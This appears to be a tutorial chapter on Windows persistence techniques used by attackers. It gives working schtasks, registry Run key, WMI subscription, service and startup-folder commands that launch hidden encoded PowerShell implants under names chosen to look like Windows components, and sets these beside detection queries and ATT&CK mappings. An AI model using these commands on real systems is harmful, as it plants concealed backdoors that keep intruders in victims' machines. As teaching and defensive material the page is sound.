# Persistence: Surviving Reboots

Initial access is worthless if it disappears on reboot. Persistence mechanisms ensure the implant survives system restarts and remains accessible.

## Why Persistence Matters

Without persistence:

- System reboot = lost access
- Process crash = lost access
- User logout = potentially lost access
- Single point of failure = risky operation

Sophisticated attackers establish **multiple persistence mechanisms**. If one is discovered and cleaned, others survive.

## Scheduled Tasks

Windows Task Scheduler is a legitimate feature abused for persistence. Tasks can run at boot, on login, at intervals, or on triggers.

### Creating Persistence with schtasks

```
# Create task that runs at system boot
schtasks /create /tn "WindowsUpdate" /tr "C:\Users\Public\beacon.exe" /sc onstart /ru SYSTEM

# Run at user login
schtasks /create /tn "OneDriveSync" /tr "powershell.exe -ep bypass -w hidden -file C:\Users\Public\sync.ps1" /sc onlogon

# Run every hour
schtasks /create /tn "HealthCheck" /tr "C:\ProgramData\health.exe" /sc hourly

# Run at specific time (delayed execution for evasion)
schtasks /create /tn "Maintenance" /tr "C:\Windows\Temp\update.exe" /sc once /st 03:00
```

### PowerShell Scheduled Task Creation

```
# More flexible with PowerShell
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
    -Argument "-WindowStyle Hidden -ep bypass -enc JABjAGw..."

$trigger = New-ScheduledTaskTrigger -AtLogOn

$principal = New-ScheduledTaskPrincipal -UserId "NT AUTHORITY\SYSTEM" `
    -LogonType ServiceAccount -RunLevel Highest

$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries `
    -DontStopIfGoingOnBatteries -StartWhenAvailable

Register-ScheduledTask -TaskName "SecurityHealthService" `
    -Action $action -Trigger $trigger -Principal $principal -Settings $settings
```

### Detection

Look for scheduled tasks:

- Created recently (especially around incident timeframe)
- Running PowerShell, cmd, wscript, mshta
- Executing from unusual paths (Public, Temp, AppData)
- With encoded command-line arguments

```
# Query all scheduled tasks
Get-ScheduledTask | Where-Object {$_.Actions.Execute -like "*powershell*"}
```

## Registry Run Keys

Windows checks specific registry keys at login and executes listed programs.

### Common Run Key Locations

```
# User-level (runs when specific user logs in)
HKCU\Software\Microsoft\Windows\CurrentVersion\Run
HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce

# System-level (runs for all users, requires admin)
HKLM\Software\Microsoft\Windows\CurrentVersion\Run
HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce

# Less common but also work
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
```

### Setting Registry Persistence

```
# Add Run key entry
$path = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$name = "SecurityHealthSystray"  # Blend with legit Windows names
$value = "powershell.exe -WindowStyle Hidden -ep bypass -enc JABjA..."

Set-ItemProperty -Path $path -Name $name -Value $value

# Or via reg.exe
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SecurityUpdate /t REG_SZ /d "C:\Users\Public\update.exe" /f
```

### Detection

```
# Query Run keys
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
Get-ItemProperty -Path "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run"

# Look for:
# - Unknown entries
# - Entries pointing to unusual paths
# - Encoded PowerShell commands
```

## WMI Event Subscriptions

WMI (Windows Management Instrumentation) can trigger actions based on system events. More stealthy than scheduled tasks—often overlooked.

### WMI Persistence Components

```
WMI Persistence has three parts:

1. EVENT FILTER: What triggers the action
   Examples: System startup, user login, process start, time interval

2. EVENT CONSUMER: What action to take
   Example: Execute PowerShell command

3. BINDING: Links the filter to the consumer
```

### Creating WMI Persistence

```
# Create WMI event subscription (runs every 60 seconds)

# 1. Create the Event Filter
$filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter -Arguments @{  
    Name = "WindowsUpdate"  
    EventNamespace = "root\cimv2"  
    QueryLanguage = "WQL"  
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}

# 2. Create the Event Consumer
$consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer -Arguments @{  
    Name = "WindowsUpdate"  
    CommandLineTemplate = "powershell.exe -ep bypass -w hidden -enc JABjA..."
}

# 3. Bind them together
Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding -Arguments @{  
    Filter = $filter  
    Consumer = $consumer
}
```

### Detection

```
# Query WMI subscriptions
Get-WmiObject -Namespace "root\subscription" -Class __EventFilter
Get-WmiObject -Namespace "root\subscription" -Class __EventConsumer
Get-WmiObject -Namespace "root\subscription" -Class __FilterToConsumerBinding

# Or use autoruns from Sysinternals:
autorunsc.exe -accepteula -m
```

## Windows Services

Creating a malicious service provides SYSTEM-level persistence that starts automatically at boot.

```
# Create a service (requires admin)
sc create "WindowsDefenderUpdate" binPath= "C:\ProgramData\defender.exe" start= auto

# Or modify existing service to point to malware
sc config "SomeService" binPath= "C:\malicious.exe"

# Start the service
sc start "WindowsDefenderUpdate"
```

```
# PowerShell version
New-Service -Name "SecurityMonitor" `
    -BinaryPathName "C:\ProgramData\monitor.exe" `
    -DisplayName "Security Monitoring Service" `
    -StartupType Automatic `
    -Description "Provides security monitoring capabilities"
```

## DLL Hijacking

Place a malicious DLL where a legitimate application will load it. The application unwittingly executes your code.

```
Windows DLL Search Order:
1. Directory from which the application loaded
2. System directory (C:\Windows\System32)
3. 16-bit system directory
4. Windows directory
5. Current directory
6. PATH environment variable directories

Attack: If an app looks for "version.dll" but doesn't find it in System32, placing a malicious version.dll in the app's directory gets it loaded.
```

## Startup Folder

Simple but effective. Anything in the startup folder runs on login.

```
# User startup folder
$startup = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"

# Copy payload (or create shortcut)
Copy-Item "C:\payload.exe" "$startup\OneDrive.exe"

# Or create a shortcut to a script
$WshShell = New-Object -comObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut("$startup\SyncClient.lnk")
$Shortcut.TargetPath = "powershell.exe"
$Shortcut.Arguments = "-ep bypass -w hidden -file C:\Users\Public\sync.ps1"
$Shortcut.Save()
```

## Redundancy: Multiple Mechanisms

Sophisticated attackers don't rely on one method.

Redundant Persistence

```
┌─────────────────────────────────────────────────────────────────────────────┐
│                         REDUNDANT PERSISTENCE                                │
├─────────────────────────────────────────────────────────────────────────────┤
│                                                                             │
│   SYSTEM BOOT                          USER LOGIN                           │
│   ═══════════                          ══════════                           │
│                                                                             │
│   ┌─────────────────┐                  ┌─────────────────┐                 │
│   │ Scheduled Task  │                  │ Registry Run    │                 │
│   │ (SYSTEM level)  │                  │ Key (HKCU)      │                 │
│   └────────┬────────┘                  └────────┬────────┘                 │
│            │                                    │                           │
│            │                                    │                           │
│   ┌────────▼────────┐                  ┌────────▼────────┐                 │
│   │ WMI             │                  │ Startup Folder  │                 │
│   │ Subscription    │                  │ Shortcut        │                 │
│   └────────┬────────┘                  └────────┬────────┘                 │
│            │                                    │                           │
│            │                                    │                           │
│            └──────────────┬─────────────────────┘                           │
│                           │                                                 │
│                           ▼                                                 │
│                  ┌─────────────────┐                                        │
│                  │    IMPLANT      │                                        │
│                  │                 │                                        │
│                  │  If ANY of the  │                                        │
│                  │  mechanisms     │                                        │
│                  │  triggers, the  │                                        │
│                  │  implant runs   │                                        │
│                  └─────────────────┘                                        │
│                                                                             │
│   Defense must clean ALL mechanisms to fully remove persistence            │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘
```

## Detection Summary

| Mechanism | Location to Check | Tool |
| --- | --- | --- |
| Scheduled Tasks | C:\\Windows\\System32\\Tasks\ | schtasks /query, Autoruns |
| Registry Run Keys | HKCU/HKLM Run, RunOnce | reg query, Autoruns |
| WMI Subscriptions | root\\subscription namespace | Get-WmiObject, Autoruns |
| Services | HKLM\\SYSTEM\\CurrentControlSet\\Services | sc query, services.msc |
| Startup Folder | %APPDATA%\\...\\Startup | dir, Autoruns |

Best Detection Tool

**Sysinternals Autoruns** shows all auto-start locations in one view. Compare against a known-good baseline to identify new entries.

```
autorunsc.exe -accepteula -a * -c > autoruns.csv
```

## MITRE ATT&CK Mapping

#### [T1547](https://attack.mitre.org/techniques/T1547/)

**Boot or Logon Autostart** - Registry run keys, startup folder

#### [T1053](https://attack.mitre.org/techniques/T1053/)

**Scheduled Task/Job** - schtasks, cron, at

#### [T1543](https://attack.mitre.org/techniques/T1543/)

**Create or Modify System Process** - Services, systemd units

#### [T1546](https://attack.mitre.org/techniques/T1546/)

**Event Triggered Execution** - WMI subscriptions, AppInit DLLs

#### [T1574](https://attack.mitre.org/techniques/T1574/)

**Hijack Execution Flow** - DLL hijacking, PATH interception

#### [T1136](https://attack.mitre.org/techniques/T1136/)

**Create Account** - Backdoor local/domain accounts

[PreviousExecution](/content/shadow/pages/05-execution.html) [NextBeaconing](/content/shadow/pages/07-beaconing.html)
